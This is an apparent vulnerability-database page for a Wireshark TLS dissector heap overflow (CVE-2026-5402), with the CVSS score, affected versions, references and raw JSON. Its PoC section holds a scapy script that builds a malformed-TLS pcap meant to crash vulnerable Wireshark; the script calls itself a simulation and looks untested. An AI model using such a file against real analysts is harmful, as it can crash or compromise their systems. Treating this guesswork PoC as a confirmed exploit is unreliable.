Security Vulnerability Report
中文
CVE-2026-5402 CVSS 8.8 HIGH

CVE-2026-5402

Published: 2026-04-30 07:16:38
Last Modified: 2026-05-01 19:26:27

Description

TLS protocol dissector heap overflow in Wireshark 4.6.0 to 4.6.4 allows denial of service and possible code execution

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0
Wireshark 4.6.1
Wireshark 4.6.2
Wireshark 4.6.3
Wireshark 4.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
from scapy.all import * # Construct a malicious TLS packet to trigger the heap overflow # This is a simulation based on the vulnerability description def generate_malicious_tls(): # IP/UDP/TCP layer ip = IP(dst="192.168.1.10") tcp = TCP(sport=12345, dport=443, flags="PA") # TLS Record Layer - Handshake type # Malformed length field causing buffer overflow in dissector tls_content = b"\x16" + b"\x03\x01" + struct.pack('!H', 0xFFFF) # Excessive length # Padding to trigger the specific overflow condition payload = tls_content + b"A" * 5000 pkt = ip / tcp / payload wrpcap("cve_2026_5402_poc.pcap", pkt) print("[+] Malicious pcap file generated: cve_2026_5402_poc.pcap") print("[+] Open this file in vulnerable Wireshark version to test.") if __name__ == "__main__": generate_malicious_tls()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5402", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:37.847", "lastModified": "2026-05-01T19:26:27.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TLS protocol dissector heap overflow in Wireshark 4.6.0 to 4.6.4 allows denial of service and possible code execution"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21090", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-14.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}